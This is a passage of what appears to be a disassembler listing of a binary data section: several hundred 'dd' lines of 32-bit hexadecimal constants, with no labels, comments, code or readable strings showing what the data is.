		dd 41BB5B20h, 7064828Ch, 0FC116847h, 40B00092h,	0A7EE341h
		dd 301D4C02h, 0E12B3242h, 82EA0EE0h, 4C6037ECh,	8E3219ACh
		dd 402E9186h, 6101DDBEh, 0FE073101h, 0E0978FF4h, 2F404440h
		dd 0D98A187Ch, 1945B998h, 88D35Ch, 0EAD0D87Dh, 3D41B087h
		dd 6E3A6B98h, 92C9979h,	0E4180A79h, 6007723Eh, 486A654Bh
		dd 36F0004Bh, 13074374h, 742A9692h, 0F2CCE2D0h,	8DEF301Ah
		dd 0A39770A0h, 4B8AC802h, 418B283Dh, 50682A4Eh,	80910E25h
		dd 8D31833h, 0F11A49CDh, 0D4401FC4h, 0F68C001h,	0B5FB41Fh
		dd 69812418h, 554807B1h, 573AEF5Ch, 423130A8h, 980B9BCCh
		dd 4F09454h, 42158C8h, 95D21132h, 57F76180h, 992D9705h
		dd 51554302h, 6037C59Ah, 88350D78h, 31C37ED2h, 0BF4717B3h
		dd 7DE9C700h, 89F0133Bh, 0C8208B97h, 0E0EEC483h, 4C02E318h
		dd 6A7E7BD2h, 964D058h,	7DE1FF7Ch, 8215F420h, 149835DBh
		dd 0AE95573Dh, 7A1170F4h, 1A9C8D88h, 427620Bh, 5CB036C8h
		dd 22E04B9Dh, 49303E58h, 0FB2C3D54h, 0AA916DA1h, 54714D00h
		dd 0B7012AFAh, 0EB36D504h, 880B225h, 2EFF6B75h,	82847259h
		dd 4BE1E342h, 4889BC62h, 3D003C44h, 0C098FABDh,	977A2h
		dd 69214325h, 34A8CB7Ch, 0EBEFFF12h, 0DB305405h, 61E79420h
		dd 15E90FA7h, 0B2005E8Ch, 3468E316h, 2E44AF00h,	3AF06B7Ah
		dd 0C8E22D19h, 0B5794482h, 0FC0FF090h, 3BE381C0h, 17652FFh
		dd 6BE15A0Eh, 2C164369h, 345B8538h, 3897F840h, 7030E29h
		dd 45A97D2Eh, 102AF7F4h, 21B04041h, 0AE098AE0h,	61690F3Fh
		dd 442D8328h, 3BA78800h, 0C5DFD429h, 0B8FCDB00h, 0EEF9AE0Ah
		dd 52F50049h, 0A55B4F86h, 424A1B19h, 89209402h,	0B0EC52B5h
		dd 92C5A17h, 0B1808070h, 63B5C039h, 7C02F900h, 6C66450Fh
		dd 4C549F6h, 737FBDC1h,	1440301Ch, 7B24201h, 87EBEC62h
		dd 0C168BC70h, 0C3FADDB1h, 80A4681Bh, 749DDB04h, 0A01D004Ah
		dd 520E36BCh, 2507D4E7h, 70551C42h, 79BB3A51h, 711DB6DCh
		dd 999F00E0h, 0BFA35710h, 0B07DBCB8h, 80E8C7Ah,	0E32FD7EEh
		dd 0C07FAFE8h, 98416312h, 59F67Ch, 0A2F48FD9h, 0E0F81D5Bh
		dd 0AF395700h, 2BB23CC3h, 0C2B001C1h, 0E67551E1h, 15D3FCB7h
		dd 6F9DF000h, 6950A16Eh, 480FEE89h, 0BC1E986Ch,	48C0281Fh
		dd 41237025h, 0D3540E39h, 0AF88D1FBh, 546E4280h, 336082h
		dd 5DEB161Bh, 0DA01B4ECh, 8300FC91h, 0C1CFA11Dh, 988C0074h
		dd 0F303260Eh, 65F6E5E6h, 2D0D1B58h, 759811B7h,	0D86D1DC1h
		dd 0C57CF07Ch, 98608B18h, 811FA7F4h, 69C001E3h,	73F1C0C1h
		dd 9C245814h, 448B5A76h, 0D6D8EF5Ch, 5746E000h,	0A544813h
		dd 4E7076F0h, 70400071h, 1798CB54h, 0FF762420h,	0A5434774h
		dd 32088F4h, 5EC3BD00h,	0D7324E35h, 292A6058h, 0CD396621h
		dd 0A4565D00h, 94F1F3AEh, 0A16C0226h, 0F63CE113h, 6244ECC7h
		dd 0B06F4A60h, 2686CA03h, 0C1ABB640h, 798021FEh, 87A5512Bh
		dd 98009243h, 0F85BC7E6h, 4D579DF6h, 740F9423h,	26F01207h
		dd 0D401CD2h, 1D148FF9h, 0C073DFB6h, 54138DA5h,	0B4002425h
		dd 0F7BB904Bh, 17BA1B3Ah, 1CE0B7Ch, 8DF522C0h, 0E9460079h
		dd 31623E8Ch, 0C333170Eh, 0B3253FA0h, 0E213A3C1h, 309C0C51h
		dd 1B348899h, 83924096h, 20BF4C90h, 0B1D75B8h, 31F0D117h
		dd 0FE443C8Eh, 58ACA21Ch, 38B97634h, 8B26310Bh,	0C4343310h
		dd 38428885h, 531808CEh, 0BB317048h, 560B2617h,	0F0BA04D0h
		dd 82E0003Dh, 0DEAE1748h, 0FA0023BEh, 0D74008CBh, 35C256A6h
		dd 6F88BA07h, 6F280B44h, 263C98B7h, 0DDE91EE6h,	1EBA7A17h
		dd 0B420EC55h, 4CA89019h, 6DC9B482h, 61E4DCE5h,	39B8C863h
		dd 0C000F47Bh, 7C31DB7Eh, 0B41155F7h, 3E7691B4h, 15B1E583h
		dd 4FE782C7h, 6003B011h, 7A30FCE1h, 28912F33h, 1120E891h
		dd 543C3243h, 70A88532h, 13E13530h, 8C6CAE48h, 29896770h
		dd 6BBAA100h, 0FE5BEF00h, 85438B65h, 2CB25C79h,	90E71481h
		dd 5B582008h, 0FB0268B9h, 606EB7CBh, 1501A022h,	9C8D92DDh
		dd 9DC14603h, 0C8ACF398h, 6A162348h, 3026A1EAh,	0F85B48F1h
		dd 80595D85h, 31482B57h, 5C62A200h, 0E7B0D0A0h,	0CD92120Bh
		dd 0B088A63Bh, 0B49F2B7h, 0DB31227Fh, 67C428E5h, 4E37A060h
		dd 42BE8513h, 5107F600h, 2D99E088h, 3C97DA46h, 2909C639h
		dd 0F490D9BEh, 4A00BF3Eh, 96E356B1h, 940F7E4h, 6EE79E05h
		dd 60B90458h, 0F4198671h, 20001495h, 7EBD63A0h,	91AD9879h
		dd 0B4A83B34h, 0EED22628h, 0F0E540C8h, 949EDC0Dh, 0C1A465Ch
		dd 497F8DA4h, 0CE7E143Dh, 741E84F6h, 64FE0033h,	512124D3h
		dd 585E7A7Dh, 0FE108C2Eh
		dd 634BC711h, 0D7C45723h, 32BC2030h, 1B9F1614h,	5D541D1Dh
		dd 79CA89B9h, 0CB9B4404h, 0C4183C98h, 0C022F1EFh, 4FAFEB80h
		dd 3500F08Bh, 8267409Ah, 527ECDFBh, 9C0B98B6h, 8C413B87h
		dd 8EA83030h, 2B87889Ch, 59C01076h, 8FEF93h, 0AF43B5D1h
		dd 6B989B66h, 87B67919h, 0C862BC49h, 74062900h,	0B9D4AB01h
		dd 9DC3439h, 911E3B44h,	0BC3657C0h, 39CD92Bh, 0BB35B449h
		dd 0B00CACBCh, 0B44460h, 0BD1E3CBAh, 5C283A61h,	2E3058A0h
		dd 0E05AF600h, 94EFE537h, 0B6CF00F1h, 25324D12h, 5D059ECBh
		dd 85E4A9ACh, 857FBA87h, 0E88858F5h, 2FC3016Ch,	45CF091h
		dd 203AD80Ch, 83EE963Fh, 0BA6E3335h, 0CCE9306Fh, 5E73BD88h
		dd 7CC240F7h, 6612F6C5h, 4E30A79h, 6B34094Bh, 18D024CAh
		dd 815B0B21h, 0BB6BB42Fh, 0B0D47C56h, 0C0B4425Ah, 0F955F43Ah
		dd 5427C42Fh, 2BE090FCh, 58B02946h, 190279A8h, 38276DF4h
		dd 0DF05405Dh, 0A1374BA5h, 46BD41DCh, 582F2E89h, 1F030223h
		dd 0A7E6F242h, 9C70CABEh, 7FFE9680h, 3F0B8A17h,	0A100036Eh
		dd 0FF634139h, 7C764A9Dh, 87131D73h, 0D4121153h, 0ECA688Ch
		dd 0EB0C60AFh, 0D5E4E7C0h, 0EF003F52h, 80C3F26Bh, 4F8ED47h
		dd 0FE757436h, 0F40E437h, 0C38FA28Bh, 0E4698982h, 0A870D4E2h
		dd 4B7E449Ch, 84C539h, 0B7D11A9h, 714219A1h, 1EBF1863h
		dd 0E1E03131h, 661EA9FCh, 4A85547Eh, 0EC84B75Ah, 0AB88A48Eh
		dd 3895C4C0h, 0D63B3939h, 0A99A6889h, 7106850h,	2B026E76h
		dd 2027AE30h, 0C644645Eh, 7F2830E8h, 0AE3120A0h, 0E07BBF03h
		dd 18BC21h, 84A7AAB1h, 0D020C351h, 7E394900h, 8B18632h
		dd 0DE17BAEh, 2FB91ED8h, 0F09C26B9h, 28054295h,	0FA0CB9C8h
		dd 45D63003h, 37BD6B99h, 0E6840C25h, 0A3231620h, 7140458h
		dd 454D001Ah, 693B880h,	0F5C1C01h, 22095068h, 87FA60D8h
		dd 5D80E058h, 7BDD89h, 9307770Fh, 7387E7A4h, 0ED01658h
		dd 4127304Dh, 78E5FD25h, 0C50FA87Ch, 0E041342Eh, 509E0BB9h
		dd 0D68608B4h, 7BFAAC02h, 0E809B6DEh, 4BF7AEA4h, 6110C771h
		dd 0A5D4E563h, 0C0C4ED70h, 466951BEh, 88CECD17h, 0D021D009h
		dd 0CF773F44h, 98E20D25h, 688E497h, 18FE6025h, 3C99F495h
		dd 0B27E7B06h, 92A727C9h, 830E2460h, 7C97608Fh,	247772B5h
		dd 68405B5Eh, 285A0EBAh, 0D826005Fh, 16D9DE67h,	1A03C685h
		dd 21A2FB8Ch, 58C2A48Fh, 0B9BC01D0h, 9158858Eh,	44207180h
		dd 244BE16Ah, 0C43434AEh, 3DC05E5Eh, 0C44D6EE1h, 3CA5748Bh
		dd 288B3A07h, 0B00BEB81h, 8964CC47h, 0F6847362h, 0AC82C23Ah
		dd 7C6AC0C9h, 0C83E17CCh, 68BD64D4h, 0E60047B8h, 0FBF48D2Ah
		dd 817E7592h, 0CCD9AE1Bh, 13465Eh, 7A126605h, 0B0FF205Dh
		dd 472F07D0h, 64A5E41Ah, 89A0C014h, 97953BC1h, 827D1174h
		dd 516CE435h, 424B0094h, 8E042EE6h, 35306909h, 26E44890h
		dd 0FFB71613h, 6CC0901Eh, 0DF2F95FCh, 3E042059h, 3CE21192h
		dd 5BC2DB7h, 3C0069AFh,	0AFA5EA1Ch, 640818D2h, 0F418BE43h
		dd 116F41C9h, 0E0B45207h, 28A1F5E3h, 7C72BA4Bh,	0B5595700h
		dd 51F9C8EBh, 0DC1BF300h, 698D0344h, 8E31123Ah,	0A58C407Ah
		dd 72E328D3h, 504DDECh,	0DB472CA8h, 5DC8888Bh, 82F46C0h
		dd 0E99419D8h, 2FE06185h, 5FC83018h, 22BC80B2h,	10A339C0h
		dd 28E837Dh, 0CAC066E9h, 80071D58h, 0A7500467h,	82541FAh
		dd 2E1FA397h, 0C3459C83h, 0FBFFA02Bh, 7EF53D36h, 474C904Bh
		dd 0C009FE07h, 1058E07Dh, 2E9D59CCh, 25ED2D7Bh,	0DF00B2F0h
		dd 81C343AEh, 2C5BC1F9h, 0E08431E1h, 82E60526h,	0C400145Eh
		dd 1A56E338h, 3C80450Ah, 8C74BC10h, 0D989F00Ch,	3B9B197h
		dd 0B848436Dh, 71A8B274h, 0E14BB74Dh, 9D17B3BCh, 1DBA02DEh
		dd 64C17C2Ch, 0F82E3B39h, 2A008923h, 0AD92E6E3h, 0E0830226h
		dd 38BA1A4Bh, 0C28F47Eh, 0D04F911Eh, 76734C1h, 0C03013DAh
		dd 44189074h, 791E6E7Ch, 17B88FEh, 0E2EA7359h, 2C388192h
		dd 4BA16C1h, 52E30015h,	84D90299h, 72B19891h, 1A2F0451h
		dd 0F114E280h, 486A0040h, 0FE247492h, 3CA97600h, 0FAFB2A40h
		dd 1E8CB825h, 863241EBh, 0A81CD997h, 0A518342Dh, 24F483D0h
		dd 0D39B501Ah, 128B046Fh, 0A909A377h, 41F527F8h, 0B87839ECh
		dd 18C86B8h, 268B64D8h,	0E25415BAh, 8707FC59h, 0CAE051B4h
		dd 133D4038h, 98B044CBh, 214305F4h, 49C18E12h, 0C859DAECh
		dd 9D18AF71h, 0A26F9500h, 0B3D455F2h, 33FD0932h, 2CE4758Dh
		dd 404000B9h, 2B8A56Bh,	3EFAEFA0h, 8C61326Dh, 0C6481011h
		dd 2E1AFC5Ch, 114087E8h, 2AC458C1h, 18C2BCDAh, 223F7E09h
		dd 0E91010FAh, 0CA2084ACh, 54289C76h, 15EA1808h, 7FFB09B2h
		dd 44488C90h, 0E6BFC002h, 0D60B337Dh, 80409150h, 0FB225447h
		dd 6016974Eh, 54004FFEh, 3E10409Fh, 0C0395B1Bh,	932C8479h
		dd 0A500D950h, 22FA8CB1h, 756D0887h, 0B7E006DDh, 0B881AA03h
		dd 5D067538h, 62340938h, 180C82B0h, 4C15326Ah, 6787AC11h
		dd 5902604Ah, 0A1120DB1h, 1CA458D9h, 1FACE0EBh,	440AC572h
		dd 80D6D5E9h, 0EA2A8CDCh, 3A4F36F6h, 8923A42Eh,	0AF18E900h
		dd 4FF438B7h, 28CC88BAh, 1E697D00h, 77B3EA9Bh, 9E9238D4h
		dd 0F200513h, 5DDB844h,	0E09AADCFh, 5C00312Ch, 0F0B92E84h
		dd 6093D2AAh, 4E9F6874h, 73000792h, 0FD998D5Bh,	990D0h
		dd 98828ACDh, 29343FEh,	7A00EC77h, 0C99B7987h, 3A0572h
		dd 776D8B85h, 0C03709Dh, 8E0008E2h, 53D28759h, 1330A06Fh
		dd 18E39792h, 0FBB7A8CEh, 6109490Fh, 0A20C40ADh, 323354h
		dd 84FE0193h, 723AEA85h, 98FC1000h, 2475EF19h, 6A150392h
		dd 288C1F31h, 59E52BD0h, 3914E100h, 678E259Fh, 0BB150001h
		dd 27B0FBAEh, 387EFA09h, 94DD8F00h, 467B731Bh, 9593007Dh
		dd 9DD0310Eh, 0B67CBC11h, 10921900h, 0D49F4340h, 0C348C314h
		dd 79E87D27h, 6BE4429Eh, 0D4E59A28h, 3645B3Fh, 5C59E2B0h
		dd 0E01FA94Dh, 6845F0h,	1EBA0E3Bh, 7FCF2CD2h, 67B37B00h
		dd 6483023Eh, 269E0EE4h, 0A8205A11h, 1AD3D8DCh,	713F241Fh
		dd 0ABE41401h, 0A8244579h, 0B13500BFh, 0F9907F51h, 0B51F1C2Ch
		dd 56000AFDh, 7223AEF6h, 0AABC3F68h, 54017400h,	9E2155C4h
		dd 5B2741C0h, 661877h, 10A2402Dh, 1529C120h, 816E6D03h
		dd 0F5CDE5h, 74DC2F50h,	4BB86A38h, 16C1AE1Eh, 4514B300h
		dd 6F2E6215h, 6D2A28F4h, 10990385h, 0E1F097FBh,	0BD00B649h
		dd 8591BAEFh, 54C8D8h, 3E31D19Eh, 0A6ED5803h, 0EF085C00h
		dd 0F432F942h, 0CC200C3h, 26EEE0ABh, 0FC18F60Bh, 2072839Eh
		dd 2485033Dh, 7966FB1Fh, 0D36359DAh, 305FD007h,	375157A6h
		dd 0FED8D834h, 0A9CF003Eh, 51253642h, 56388A08h, 5C40011h
		dd 0CF5F898Eh, 9A820C37h, 0C6402CC2h, 126D4Ch, 439CF0D7h
		dd 0E051ADBh, 0A5012157h, 0A2D9540h, 99135A65h,	0FC5DE01Eh
		dd 0FCA73C0h, 90033893h, 0A8878010h, 263C076Ah,	839E61DBh
		dd 9F9796A9h, 683849E0h, 0FCE784E1h, 0E6270D6Bh, 1C08F6D2h
		dd 0FD3FC036h, 0FFE76345h, 6A8CD100h, 54926075h, 98F62857h
		dd 0BD9500B0h, 233069Ah, 0F7394ACh, 9EF13900h, 69CAB050h
		dd 1EF0A0C7h, 20E95874h, 6192E881h, 1B0CC8A0h, 59302D7Fh
		dd 0FB9F383Dh, 74F87933h, 1F550063h, 0DC93B435h, 110039B2h
		dd 0A3F662F1h, 63F27Dh,	8695964Dh, 0D58E4541h, 7C50C000h
		dd 76B9FDBFh, 4AE2007Dh
		dd 870ABCF9h, 750E96AEh, 208092A0h, 4E217E72h, 0C21012CEh
		dd 78C42207h, 0ED601468h, 0B55DF000h, 0EC094AA8h, 0DCCF0A87h
		dd 387A545h, 0DB356E72h, 4484BEA8h, 53D4F0Fh, 271EA0CAh
		dd 12EA2Bh, 87EB99ACh, 2A480602h, 34E05F1Dh, 0DC6B81C4h
		dd 0D3D6ACC7h, 1910080h, 6015A896h, 271390C9h, 2C800AA7h
		dd 0FE891137h, 2C1B01ECh, 4D724464h, 0A6C3E8BAh, 0C63DD500h
		dd 0EA51B03Ah, 7F7C0792h, 70485E2Fh, 89D37556h,	0C27DD000h
		dd 0F74BD855h, 0C1EE00BCh, 676B808Dh, 22009414h, 5C8B0BE9h
		dd 0CC2DBABh, 355070BCh, 1B0071B0h, 0BED7F03Bh,	61DAED8h
		dd 0C4118497h, 3322A8D4h, 4B2D0035h, 425658F4h,	549038DFh
		dd 6DE57E1Fh, 0EF85E047h, 0F847CE90h, 539002Ch,	7040813Fh
		dd 65028CC9h, 0B4BB14FDh, 3298C1F5h, 486040C2h,	2BA600ACh
		dd 0BA1A2226h, 0AE00DB44h, 0F24A30FFh, 9FB11h, 837E1654h
		dd 87A266E9h, 4BF813FCh, 5CB3CC09h, 27CC2EA4h, 9DE128FEh
		dd 8D40E9E8h, 1CB9B6EEh, 0C9BCF8F2h, 0D4002B1Eh, 0B7885A34h
		dd 0EB86AF00h, 6980A5DBh, 11190584h, 809615C2h,	36ECE995h
		dd 0D4A639h, 53CEFBA9h,	8F2E49h, 150401EFh, 1B3F683Ah
		dd 76726007h, 1923DA6Fh, 9B6C908Ah, 225A480Ah, 0E6D79500h
		dd 64A5D34Ch, 4FE0C8A8h, 457D48h, 6612883Ch, 28FE2ED8h
		dd 0FF8A1EAh, 0B0807AD0h, 1AA74CC3h, 8C9848h, 0C6BF747h
		dd 0D9D64Bh, 0F4080925h, 0CB5BD546h, 696A3702h,	60060D43h
		dd 3C59776h, 6E63C357h,	0B680D06Fh, 0C6005D08h,	44DA890Ch
		dd 0FEE442h, 4D848B8Ch,	3DD8B205h, 96ADBE00h, 25230479h
		dd 8D460041h, 0C0B8EE0Ch, 0B6A04FBBh, 352E1B2Fh, 3B405C4Bh
		dd 3C362C7Bh, 725BB2h, 0DAA9C1EDh, 6D2941EAh, 0A69F6903h
		dd 0C13A6706h, 0ACE0E36Eh, 21E86134h, 0F4A8BE6Ah, 26001F5Eh
		dd 0DCF0250h, 3ADF84A3h, 404FA4FEh, 6EBAA01Ch, 74003701h
		dd 0DBB3122h, 6436C6F4h, 5B52128h, 0A4C36D5Fh, 9827BF0Eh
		dd 76461292h, 92F3D48h,	2E002C8Fh, 19D1B373h, 0CF18B205h
		dd 93012D3Ah, 0DD2D821h, 0FC248983h, 1CA17496h,	0E04B0027h
		dd 0B9590699h, 700528AAh, 44C49B28h, 8E02402h, 724EA368h
		dd 14450590h, 0C0F44AFCh, 65AEB9C4h, 0C0032698h, 31859449h
		dd 0E803E8C8h, 50200087h, 6E456040h, 0F900E1B0h, 0D0D1230Eh
		dd 9FC0Fh, 80430C47h, 82AECA57h, 0BC75EA00h, 4DE463D1h
		dd 5F7440h, 385BD632h, 509B1684h, 33853B0Eh, 77DDE093h
		dd 274873h, 7F39564Dh, 1AB29042h, 0E5D2C300h, 0E3502843h
		dd 0B5F73F3Eh, 0CEEB00F8h, 0B2170E4Bh, 0D1036F9Ch, 0D7E6DFBFh
		dd 88C3A80Dh, 898D2A35h, 0AA520080h, 77CAEF76h,	7E4E150Ah
		dd 0CC3D2BFCh, 79160987h, 0A1F48082h, 0EB908EA2h, 62E0370Bh
		dd 601C0E72h, 80DF0BCEh, 0AE7A1C78h, 1248809Ah,	0EB4EC283h
		dd 5F4A1E00h, 0E05B1B1Fh, 0CE6F175Ch, 2BF0402Eh, 91D83803h
		dd 800389Ah, 0C93AF7E9h, 1A4809Eh, 897D6E88h, 0FCA52DE1h
		dd 0CA003506h, 0D8D6F045h, 24B3BEF5h, 0E1CD9Ah,	2D1E944Dh
		dd 0A900652Ch, 250B9FB2h, 185E1D8Fh, 0BCA7B84Ch, 517B98C9h
		dd 8AB79507h, 6E10BF13h, 0B8863B2Dh, 82F600DBh,	9BC3F806h
		dd 8C00BE62h, 0C0563441h, 71AB6720h, 2BCCFD40h,	0D66F3CCAh
		dd 0DA8072BEh, 0EBB91887h, 0E300BAC0h, 9B2415F8h, 0F2F18FC7h
		dd 607771E9h, 517F5A8Ch, 0B92EF4AEh, 1400F93Fh,	0D53992AFh
		dd 585B00C9h, 3DF55C8Ch, 21014AFAh, 16953AF1h, 0A4302AA4h
		dd 59FC05D0h, 0C0DA0839h, 81DC3DDCh, 383E4A80h,	0D89537EAh
		dd 4604A893h, 0C35AFF21h, 0C69071A4h, 403F9F6h,	0D3A592C2h
		dd 2E2900E7h, 349E1978h, 8E01AF1Ah, 31B8EF9Dh, 0B1701D91h
		dd 6EA314D3h, 0DA25E83Dh, 73E888A2h, 4BF840E8h,	13FF7A00h
		dd 157EBF87h, 4FFD005Ch, 55265196h, 6107D440h, 6E2A73D8h
		dd 32A5BA10h, 67B42C76h, 0E74D0E6Ch, 9A9EA680h,	0F71E5722h
		dd 0D3CF5B4Bh, 0D0DA4054h, 905D1DD5h, 1CF4FC54h, 0C04827B8h
		dd 67F3AF44h, 309454A9h, 0E21C9806h, 343B1B24h,	0C0FDE15Fh
		dd 470B4B5Ch, 7456D007h, 0C0778E60h, 0DEE662A0h, 934302DCh
		dd 353A1126h, 60040F8h,	50BD4A2Eh, 13A54C3Ch, 40B5F02Fh
		dd 417936ACh, 0A77402C5h, 0DA61AE12h, 0A2593400h, 0D75CE6h
		dd 0B054B614h, 55EDF972h, 947A0307h, 0C04E21DFh, 270D9FE9h
		dd 455E3011h, 0CA739A71h, 0EE529002h, 0C0FC3D42h, 0EC2539Ch
		dd 0DA75A8C0h, 0BFFD7E20h, 0CD001C2Ah, 4C39C461h, 0EC7C28h
		dd 0BE3ABB51h, 1D55B434h, 869F9207h, 4CF059E1h,	1A18FCh
		dd 0B300F8Ah, 8379632Fh, 39B1227h, 0CB04581Ch, 2B0C0095h
		dd 0CBEC6BDFh, 2500D1D0h, 0AAF936E1h, 7FE7B53h,	54A362A1h
		dd 4CA740FBh, 9C0663CCh, 77CFC6B4h, 15790970h, 0C4201D30h
		dd 0CB6B62DDh, 43510700h, 480ED9ECh, 0B1C55164h, 9D16CC8h
		dd 0CE3EAEA7h, 96D7C800h, 370324ACh, 84EDD468h,	0E0CBD269h
		dd 794B9E0Ch, 0E88703FEh, 0EE7FAF6Bh, 3C6DBDA8h, 123A3E00h
		dd 0AB10B982h, 0D44F00C2h, 706E3FF3h, 0A800B8F9h, 7E41C8A3h
		dd 4BCAC5h, 805D56DBh, 8DF77535h, 89003BF8h, 15F130E3h
		dd 78ABA35Eh, 38D01D98h, 0ACDF454Ah, 9E80BB3Dh,	2A65DA4h
		dd 4C620F04h, 545C109Eh, 0E17D0700h, 0F0D4D73h,	7E57B487h
		dd 9D2E3540h, 5274AD8Dh, 0F75AAF00h, 75519143h,	9A5D007Ah
		dd 5F63AC10h, 0CD00D6A2h, 64F94FBDh, 476E05Ch, 7203B52Fh
		dd 1ADB8212h, 2DA9FC82h, 0B1247060h, 6ECAEE00h,	7FA212F0h
		dd 0D001008Bh, 0B46B8532h, 0FEC6A32Ah, 4084EEh,	89CA5325h
		dd 1907303Ch, 0DA679D00h, 0E52C904Eh, 1C44923Ah, 43A20F1Ch
		dd 59E2AC1Ah, 0BA221C1Ch, 0DC20AE82h, 452C4883h, 0D7241856h
		dd 8566119Ch, 0C0170200h, 440D283Dh, 525C2E34h,	0F7FC8098h
		dd 0F1EABF0Ah, 0D4466900h, 0C6C86080h, 0ADDD3A65h, 6C126D0Eh
		dd 7B494A40h, 64259F54h, 1B18028Eh, 1C7620F8h, 99049BE6h
		dd 0A4381592h, 0BF44FC80h, 0C0B625ABh, 9CBC8480h, 2D1728F3h
		dd 0D400A36Ch, 25DE6ACBh, 0B9EF5CAEh, 33002C48h, 29485FA8h
		dd 102DD2Bh, 86AF46F3h,	351841F8h, 36C20C0h, 0D345629Ch
		dd 94B06083h, 52006E64h, 5E12F58Ah, 0F3B2841h, 0FB1D2013h
		dd 400C4982h, 7F559A60h, 0F5152909h, 5684A323h,	0FB1AF95Eh
		dd 6AD4FDF5h, 861040Ah,	83AFADDCh, 9FD07258h, 1FCFAF9h
		dd 78075C92h, 0E366F85h, 84201CE5h, 1F1B628Dh, 0BF25AFAAh
		dd 0F7006CBDh, 8096FE5Ah, 0FB1771C1h, 600DD6Eh,	5030722Bh
		dd 81C90051h, 48680502h, 0A1007586h, 0DCF83323h, 1CDD732Ch
		dd 7CFA7Ah, 0E5713DE0h,	0A3001391h, 4C930F62h, 8647FBh
		dd 20FD33AAh, 0CB61B09Dh, 0C905774h, 182A9330h,	0EE6975h
		dd 46AD796Eh, 54A85898h, 5C7420E3h, 32671607h, 94E06h
		dd 418891ECh, 0E870E48h, 99E04FDCh, 0DA85DEB1h,	0D8819300h
		dd 5CCF086Dh, 0E2E2603h, 0EE0A8158h, 28BE738Ah,	0F2302890h
		dd 0FACC5C01h, 4A44DC88h, 25001868h, 5436FB8Bh,	10A2770Fh
		dd 5E0AAC40h, 8AC8B201h, 1C0339D5h, 3CA38020h, 2519DF7Ch
		dd 1AC114Bh, 105049EEh,	5868B43h, 32D9DA01h, 0F8B0B5E9h
		dd 0C800FB59h, 0F8FE3348h, 29D2544h, 4756924Dh,	0A3802152h
		dd 5DC64BCFh, 0B2804094h, 370D0A6Eh, 6B6A0074h,	241C9271h
		dd 3B7D30A4h, 2CD7B400h
		dd 0C2996203h, 0ABF800E7h, 2EFC143Fh, 6494C5C6h, 0BA135C2h
		dd 41AF2702h, 0E736A0E0h, 0F65D8700h, 0BC5ECB0Bh, 1A5E84Fh
		dd 8849783Ah, 0FC8D2730h, 73147B24h, 1487A847h,	1ED92D1h
		dd 8A06F1CDh, 0C8C5151Ah, 0E430AEECh, 4CEEF2A4h, 0A34B4F58h
		dd 0AEB0AE88h, 0F51FA693h, 88C00F7Bh, 0FB2D4451h, 0EC74009Dh
		dd 86941D46h, 141FE19Eh, 1F07C10Bh, 43C04469h, 1352C6h
		dd 5B7E781Ch, 0E32EF806h, 0F6946700h, 15C5A365h, 205D39FCh
		dd 366A7100h, 3FA71363h, 0B8601095h, 7A223D0Bh,	94E0C14Bh
		dd 0D8C40740h, 620120A8h, 0B3B5F856h, 0A4912E0Fh, 0C8218627h
		dd 621E87DCh, 0DABC1815h, 803F450h, 7C5A2FF8h, 0E80C8097h
		dd 10B20687h, 110104E9h, 0B44AFF01h, 7B63B5E0h,	79118050h
		dd 403B026Dh, 0D8250C89h, 985A348Bh, 11650D00h,	54415FFFh
		dd 1B27AC6h, 3B20F207h,	4171C590h, 890B9A64h, 87623468h
		dd 16869DAFh, 0D00F4EA8h, 0D30ADF84h, 9A77F70Fh, 87A50374h
		dd 5B88E983h, 60FC902Bh, 0DF0079A0h, 0CE995C73h, 81E9B55h
		dd 2CF6E5FBh, 0B809402h, 79B0604Fh, 0F410BFA0h,	81B79F82h
		dd 862BD8E8h, 0FE6BB200h, 0D338039Dh, 653AD905h, 777D48BDh
		dd 4C1B006Ah, 4E29D103h, 0D21337B6h, 0B4F47DE8h, 9C1684B5h
		dd 0A4A0DCEFh, 7DD90503h, 0EC0DB93Fh, 45B081A0h, 21807EDFh
		dd 30C7AEE8h, 59067B47h, 24866BB9h, 32FB0088h, 0F926BDA0h
		dd 0C600571Ah, 6AE1A95Ah, 944924h, 2CB88488h, 0D22158EAh
		dd 91A7F530h, 0EAD0F4C0h, 0D9E60094h, 958BABA1h, 0FC006283h
		dd 1CCE299Fh, 0F22681h,	0B5C04321h, 4653334h, 62382A02h
		dd 0E037FBFAh, 0C2FECDDh, 7229FC57h, 0F5013B18h, 6564BD01h
		dd 205AFD08h, 0CB9A3908h, 30F6F103h, 0F336A014h, 0FFB10E3Ah
		dd 0E3A17FDFh, 20F84739h, 0C200D582h, 0EB03F335h, 0A437568h
		dd 142E3B76h, 84685120h, 0B89E1880h, 0F9801410h, 0C6C1391Dh
		dd 13A52F00h, 25ED2D5Ah, 0F0CF003Fh, 0A8E1FA6Eh, 0E01E31E5h
		dd 7B85487Fh, 34591343h, 8051D408h, 901B9DEEh, 14F8A0h
		dd 169F1D4Bh, 0B73F73B9h, 432EE524h, 9C7E803Fh,	0AD474F30h
		dd 7FD10F16h, 2F449A1Eh, 67880C3h, 0C9007791h, 0FA14E348h
		dd 391BB876h, 9CB18AD1h, 11F28129h, 62115412h, 0A05111BBh
		dd 29106D12h, 42BE897Bh, 3C82E928h, 0D321F7A9h,	0CA02DE86h
		dd 89B4A010h, 0A1CF0855h, 7E08C650h, 4131AE44h,	0B410F4F4h
		dd 8264F92Eh, 12A07100h, 130B8Eh, 0BA16CC28h, 66095599h
		dd 517F9D78h, 0D4FB700h, 8DBFA28Ah, 8B03000Eh, 8FAC900Ah
		dd 4504B609h, 65C1BEBCh, 664E1980h, 0D8CE0081h,	30160F72h
		dd 42C064E1h, 86152255h, 0EF940003h, 499172BEh,	8875E93Dh
		dd 6F03A1Dh, 69072F40h,	7A58BCBDh, 7C200031h, 0C228E1F8h
		dd 8F002718h, 49722186h, 983C9D1Eh, 0ADA001Fh, 0C13E85A7h
		dd 451C3FD9h, 0E00C7B0h, 115ABCF9h, 60A43891h, 77365600h
		dd 0ACF43423h, 49C21E00h, 540FD81Ah, 4C8E00DDh,	0A11C7D11h
		dd 0E6003420h, 6B08E923h, 544A467h, 5C133EB9h, 978C47BEh
		dd 30040006h, 5B002A5Fh, 157F9434h, 280D77CDh, 7EB444DDh
		dd 0A9FEBAh, 6DEFA3FAh,	0F43D5E4Bh, 4D00117Ch, 0C21C981Eh
		dd 18C883h, 19201341h, 0ED96F84Ah, 0FAEFEE00h, 0AAC1376Bh
		dd 0CD7477h, 0D309B6DAh, 0C286A0E8h, 711B901h, 0DB40CE85h
		dd 276020h, 26B005F0h, 80563872h, 0B378CA00h, 0AE7F6677h
		dd 1A533B25h, 58926C80h, 0A4107A4Ch, 47D6CA00h,	0D44960FBh
